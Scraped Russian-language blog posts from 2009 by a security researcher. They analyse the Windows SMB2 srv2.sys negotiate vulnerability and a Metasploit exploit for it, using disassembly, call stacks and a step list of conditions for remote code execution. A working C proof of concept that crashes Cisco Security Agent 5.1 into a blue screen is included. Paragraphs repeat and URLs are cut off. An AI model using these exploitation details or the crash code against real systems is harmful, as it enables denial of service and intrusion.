SMB2 exploit again
Sep. 30th, 2009 | 10:22 pm
К этому посту:
http://cr4sh-0x48k.livejournal.com/3965 1.html
Сегодня в репозитории метасплойта появился полнофункциональный код, эксплуатриующий уязвимость в srv2.sys при обработке SMB запросов:
http://metasploit.com/svn/framework3/tr unk/modules/exploits/windows/smb/smb2_ne gotiate_func_index.rb
Если попытаться охарактеризовать его одним словом, то "охуеть" будет одним из самых подходящих: что бы добиться remote code execution в таких условиях, нужно быть или очень умным, или очень везучим. Код работает следующим образом.
Индекс массива методов, использующийся в srv2!Smb2ValidateProviderCallback, подбирается таким образом, что бы происходил вызов функции srv2!SrvSnapShotScavengerTimer. Здесь самое интересное: так как srv2!SrvSnapShotScavengerTimer принимает на стеке четыре дворда (вместо одного в случае с методом, вызов которого был предусмотрен девелоперами), происходит порча esp после выхода из этой функции и как следствие - подмена значений в регистрах edi и esi, которые восстанавливаются перед возвратом из srv2!Smb2ValidateProviderCallback. Далее, выполняется следующая цепочка вызовов:
Другими словами, в норме здесь eax содержит указатель на функцию из srv2, но за счёт того, что в srv2!Smb2ValidateProviderCallback херится стек, туда попадает дворд из данных пакета.
Эксплойт в большинстве случаев стабильно отрабатывает на Vista SP1 (редкие падения были зафикисированны из-за особенностей использующегося ring0->ring3 лаунчера для стандартных шеллкодов):

http://cr4sh-0x48k.livejournal.com/3965
Сегодня в репозитории метасплойта появился полнофункциональный код, эксплуатриующий уязвимость в srv2.sys при обработке SMB запросов:
http://metasploit.com/svn/framework3/tr
Если попытаться охарактеризовать его одним словом, то "охуеть" будет одним из самых подходящих: что бы добиться remote code execution в таких условиях, нужно быть или очень умным, или очень везучим. Код работает следующим образом.
Индекс массива методов, использующийся в srv2!Smb2ValidateProviderCallback, подбирается таким образом, что бы происходил вызов функции srv2!SrvSnapShotScavengerTimer. Здесь самое интересное: так как srv2!SrvSnapShotScavengerTimer принимает на стеке четыре дворда (вместо одного в случае с методом, вызов которого был предусмотрен девелоперами), происходит порча esp после выхода из этой функции и как следствие - подмена значений в регистрах edi и esi, которые восстанавливаются перед возвратом из srv2!Smb2ValidateProviderCallback. Далее, выполняется следующая цепочка вызовов:
91040ce8 9098d96f 83c84548 00000000 00000001 srv2!SrvProcCompleteRequest+0xd2 91040d10 9098d997 3fffffb4 91040d34 9098cae2 srv2!SrvConsumeDataAndComplete2+0x35e 91040d1c 9098cae2 83c84548 83c84548 9098a801 srv2!SrvConsumeDataAndComplete+0x1c 91040d34 9098cab4 83c84548 00000000 9098a801 srv2!SrvProcCompleteRequest+0x23... и только в srv2!SrvProcCompleteRequest происходит push esi/call eax, где esi указывает на начало пакета, а eax на - ret в коде ядра.
Другими словами, в норме здесь eax содержит указатель на функцию из srv2, но за счёт того, что в srv2!Smb2ValidateProviderCallback херится стек, туда попадает дворд из данных пакета.
Эксплойт в большинстве случаев стабильно отрабатывает на Vista SP1 (редкие падения были зафикисированны из-за особенностей использующегося ring0->ring3 лаунчера для стандартных шеллкодов):

Link | Leave a comment {5} | Add to Memories | Share this!
Windows SMB2 DoS: Remote code execution возможен, но только в теории :)
Sep. 9th, 2009 | 01:17 am
Последние дни все обсуждают новый PoC под всё ещё непропатченую уязвимость в SMB сервере Microsoft Windows Vista, 2008 Server и 7:
http://securityvulns.com/news/Windo ws/7/SMB2.html
http://g-laurent.blogspot.com/2009/09/w indows-vista7-smb20-negotiate-protocol.h tml
Уязвимость имеет место быть из-за бага в драйвере ядра srv2.sys, который проявляет себя при обработке стандартного SMB запроса типа SMB_COM_NEGOTIATE (этим запросом, собственно, и начинается любая SMB сессия). С помощью SMB_COM_NEGOTIATE (Command code = 72h) клиент сообщает серверу типы поддерживаемых SMB-диалектов. Формат запроса следующий:
Более подробная инфа о протоколе есть в этой спецификации:
http://www.microsoft.com/about/legal/pr otocols/BSTD/CIFS/draft-leach-cifs-v1-sp ec-02.txt
Call stack на момент краха системы выглядит следующим образом (Windows 7 RC1, srv2.sys ver. 6.1.7100.0):
Суть уязвимости заключается в отсутствии валидации значения поля PidHigh, которое, обычно, нулевое для запросов подобного типа. Фрагмент кода бажной функции srv2!Smb2ExecuteProviderCallback:
Таким образом, для передачи управления на шеллкод должны быть выполнены следующие условия:
1. Атакующий должен найти фрагмент кода (желательно, в том же srv2.sys) вида lea reg,[edi+some_offset]/call reg, где some_offset - смещение шеллкода в SMB запросе.
2. В промапленном в память модуле (опять же, желательно что бы это был именно srv2.sys) необходимо отыскать указатель на найденные в п.1 инструкции.
3. Из адресса указателя вычислить index по след. формуле: index = (pointer - srv2!ExecuteRoutines) / 4. Причём, адрес указателя должен быть кратный 4-м и больше адреса таблицы srv2!ExecuteRoutines, а получившийся в итоге индекс меньше FFFFh.
4. Вычисленный в п.3 индекс нужно заюзаь в качестве значения поля PidHigh.
За несколько часов работы удовлетворить все эти условия мне так и не удалось. Это, само собой, не является истиной в последней инстанции, но моё имхо - нового конфикера не будет :)
http://securityvulns.com/news/Windo
http://g-laurent.blogspot.com/2009/09/w
Уязвимость имеет место быть из-за бага в драйвере ядра srv2.sys, который проявляет себя при обработке стандартного SMB запроса типа SMB_COM_NEGOTIATE (этим запросом, собственно, и начинается любая SMB сессия). С помощью SMB_COM_NEGOTIATE (Command code = 72h) клиент сообщает серверу типы поддерживаемых SMB-диалектов. Формат запроса следующий:
typedef struct {
UCHAR Protocol[4]; // Contains 0xFF,'SMB'
UCHAR Command; // Command code
union {
struct {
UCHAR ErrorClass; // Error class
UCHAR Reserved; // Reserved for future use
USHORT Error; // Error code
} DosError;
ULONG Status; // 32-bit error code
} Status;
UCHAR Flags; // Flags
USHORT Flags2; // More flags
union {
USHORT Pad[6]; // Ensure section is 12 bytes long
struct {
USHORT PidHigh; // High part of PID
ULONG Unused; // Not used
ULONG Unused2;
} Extra;
};
// skipped
} SMB_HEADER;
Более подробная инфа о протоколе есть в этой спецификации:
http://www.microsoft.com/about/legal/pr
Call stack на момент краха системы выглядит следующим образом (Windows 7 RC1, srv2.sys ver. 6.1.7100.0):
8bba77fc 8271cb85 00000003 00003ff8 e04d8d0c nt!DbgBreakPointWithStatus+0x4 8bba7bc0 826b3d85 00000050 e04d8d0c 00000008 nt!KeBugCheckEx+0xc7b 8bba7c4c 8267b5c8 00000008 e04d8d0c 00000000 nt!KeSetTimerEx+0x1ca 8bba7cd4 9055cc75 83c7a008 90556700 83c7a008 nt!Kei386EoiHelper+0x27c0 8bba7cec 9055c684 83c7a008 0000085b 83c7a008 srv2!Smb2ExecuteProviderCallback+0xd8 8bba7d08 905582e0 85436fd8 00000000 853d5450 srv2!SrvProcessPacket+0xba 8bba7d50 8283abc3 850f1d40 b28fe0f2 00000000 srv2!SrvProcWorkerThread+0x2db 8bba7d90 826fde29 90558005 850f1d40 00000000 nt!RtlDeleteAtomFromAtomTable+0xebe 00000000 00000000 00000000 00000000 00000000 nt!ExReinitializeResourceLite+0x42f
Суть уязвимости заключается в отсутствии валидации значения поля PidHigh, которое, обычно, нулевое для запросов подобного типа. Фрагмент кода бажной функции srv2!Smb2ExecuteProviderCallback:
srv2!Smb2ExecuteProviderCallback+0xbf: ; edi указывает на начало SMB пакета 9055cc5c 0fb7470c movzx eax,word ptr [edi+0Ch] ; в eax занесено значение поля PidHigh, которое ; используется в качестве индекса для массива ; адресов функций srv2!ExecuteRoutines 9055cc60 8b048540715590 mov eax,dword ptr srv2!ExecuteRoutines (90557140)[eax*4] ; (!!!) граница значения для индекса не проверяется ; в eax занесён адрес функции-обработчика SMB-метода 9055cc67 56 push esi 9055cc68 85c0 test eax,eax 9055cc6a 7507 jne srv2!Smb2ExecuteProviderCallback+0xd6 (9055cc73) 9055cc6c e871fd0000 call srv2!Smb2ExecuteNotImplemented (9056c9e2) 9055cc71 eb02 jmp srv2!Smb2ExecuteProviderCallback+0xd8 (9055cc75) 9055cc73 ffd0 call eax
Таким образом, для передачи управления на шеллкод должны быть выполнены следующие условия:
1. Атакующий должен найти фрагмент кода (желательно, в том же srv2.sys) вида lea reg,[edi+some_offset]/call reg, где some_offset - смещение шеллкода в SMB запросе.
2. В промапленном в память модуле (опять же, желательно что бы это был именно srv2.sys) необходимо отыскать указатель на найденные в п.1 инструкции.
3. Из адресса указателя вычислить index по след. формуле: index = (pointer - srv2!ExecuteRoutines) / 4. Причём, адрес указателя должен быть кратный 4-м и больше адреса таблицы srv2!ExecuteRoutines, а получившийся в итоге индекс меньше FFFFh.
4. Вычисленный в п.3 индекс нужно заюзаь в качестве значения поля PidHigh.
За несколько часов работы удовлетворить все эти условия мне так и не удалось. Это, само собой, не является истиной в последней инстанции, но моё имхо - нового конфикера не будет :)
Link | Leave a comment | Add to Memories | Share this!
ага...
Sep. 7th, 2009 | 11:02 am
К этому посту.
А ещё Cisco Security Agent 5.1 страдает детской болезнью кривых обработчиков перехватов и легко валится в BSoD (хоть из-под гостевой учётки) пиведенным ниже кодом.
Был более высокого мнения о качестве продуктов Cisco :)
Test app: http://rapidshare.com/files/276697375/c sa_hook_bsod.zip.html
Call stack:
А ещё Cisco Security Agent 5.1 страдает детской болезнью кривых обработчиков перехватов и легко валится в BSoD (хоть из-под гостевой учётки) пиведенным ниже кодом.
int _tmain(int argc, _TCHAR* argv[])
{
#define GET_NATIVE(_proc_)GetProcAddress(GetModuleHandle("ntdll.dll"), (_proc_))
f_NtCreateKey NtCreateKey = (f_NtCreateKey)GET_NATIVE("NtCreateKey");
if (NtCreateKey)
{
printf("ntdll!NtCreateKey() at 0x%.8x\n", NtCreateKey);
NTSTATUS ns = NtCreateKey(
(PHANDLE)0xfffffff0,
KEY_ALL_ACCESS,
(POBJECT_ATTRIBUTES)0xfffffff0,
0,
NULL,
0,
NULL
);
printf("ntdll!NtCreateKey() returns status 0x%.8x\n", ns);
}
else
{
printf("Error while lookuping ntdll!NtCreateKey()\n");
}
return 0;
}
Был более высокого мнения о качестве продуктов Cisco :)
Test app: http://rapidshare.com/files/276697375/c
Call stack:
f58e2818 808253e7 00000003 fffffff4 00000000 nt!RtlpBreakWithStatusInstruction f58e2864 808262bc 00000003 c07ffff8 8201dbd0 nt!KiBugCheckDebugBreak+0x19 f58e2bfc 80826659 00000050 fffffff4 00000000 nt!KeBugCheck2+0x5b2 f58e2c1c 8085a01b 00000050 fffffff4 00000000 nt!KeBugCheckEx+0x1b f58e2c90 80885ed0 00000000 fffffff4 00000000 nt!MmAccessFault+0xa91 f58e2c90 f74f97cb 00000000 fffffff4 00000000 nt!KiTrap0E+0xd8 WARNING: Stack unwind information not available. Following frames may be wrong. f58e2d40 80882fa8 fffffff0 000f003f fffffff0 csareg+0x27cb f58e2d40 7c82ed54 fffffff0 000f003f fffffff0 nt!KiFastCallEntry+0xf8 0012fd94 7c821244 004197a0 fffffff0 000f003f ntdll!KiFastSystemCallRet 0012fd98 004197a0 fffffff0 000f003f fffffff0 ntdll!ZwCreateKey+0xc 0012fedc 00411c00 00000001 00310bc8 00310c40 csa_hook_bsod!main+0xc0 [x:\dev\fw_tests\csa_hook_bsod\csa_hook_bsod.cpp @ 104] 0012ffc0 77e523cd 00000000 00000000 7ffd9000 csa_hook_bsod!mainCRTStartup+0x170 [f:\vs70builds\3077\vc\crtbld\crt\src\crt0.c @ 259] 0012fff0 00000000 0041132f 00000000 78746341 kernel32!BaseProcessStart+0x23
